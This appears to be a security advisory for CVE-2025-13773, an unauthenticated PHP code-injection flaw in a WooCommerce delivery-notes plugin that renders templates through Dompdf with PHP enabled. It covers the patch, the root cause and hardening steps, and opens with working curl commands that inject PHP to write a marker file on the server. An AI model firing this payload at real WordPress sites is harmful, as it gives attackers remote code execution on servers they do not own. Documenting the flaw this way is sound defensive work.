The Exploit
An unauthenticated attacker can force the plugin to render attacker-supplied HTML through Dompdf with PHP evaluation enabled.
curl -sS -X POST "http://TARGET/wp-admin/admin-ajax.php" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode 'action=wcdn_update' \
--data-urlencode 'order_id=123' \
--data-urlencode 'template=<html><body><?php file_put_contents(ABSPATH."wp-content/uploads/pwned.txt","pwned"); ?></body></html>'
curl -sS "http://TARGET/wp-content/uploads/pwned.txt"
The POST request is accepted by the plugin's update handler and the injected <?php ... ?> payload is executed on the server. The second request proves the exploit by returning the file created by the shell payload from the WordPress uploads path.
What the Patch Did
Before:
$options->set( 'isPhpEnabled', true );
After:
$options->set( 'isPhpEnabled', false );
The patch disables Dompdf's PHP execution feature using the Dompdf option isPhpEnabled. This prevents any PHP code embedded in the HTML passed to Dompdf from being evaluated during PDF rendering.
Root Cause
This is a code injection / remote code execution bug (CWE-95) where attacker-controlled HTML reaches Dompdf with PHP execution switched on. The plugin accepted a template or delivery-note payload in WooCommerce_Delivery_Notes::update, then fed it into Dompdf via includes/front/wcdn-front-function.php. Because isPhpEnabled was set to true, <?php ... ?> fragments in the rendered HTML were evaluated instead of being treated as inert text.
Why It Works
The only load-bearing change is the switch from true to false for isPhpEnabled. If Dompdf remains configured to allow PHP, injected PHP tags will still execute in the rendering engine. The rest of the Dompdf setup is just plumbing; disabling PHP evaluation is what closes the sink. Any additional security controls would be defense-in-depth, but the exploit hinges on this line.
Hardening Checklist
- Add a capability check such as
current_user_can('manage_woocommerce')in update callbacks before processing template data. - Protect state-changing requests with
wp_verify_nonce()on AJAX or admin-post actions. - Escape user-controlled values before injecting them into HTML templates using
esc_html(),esc_attr(), orwp_kses_post(). - Keep Dompdf safe by disabling PHP execution:
$options->set('isPhpEnabled', false); - Use
admin_post_*/admin_ajax_*hooks and reject unauthenticated requests for admin-only operations.
References
- https://nvd.nist.gov/vuln/detail/CVE-2025-13773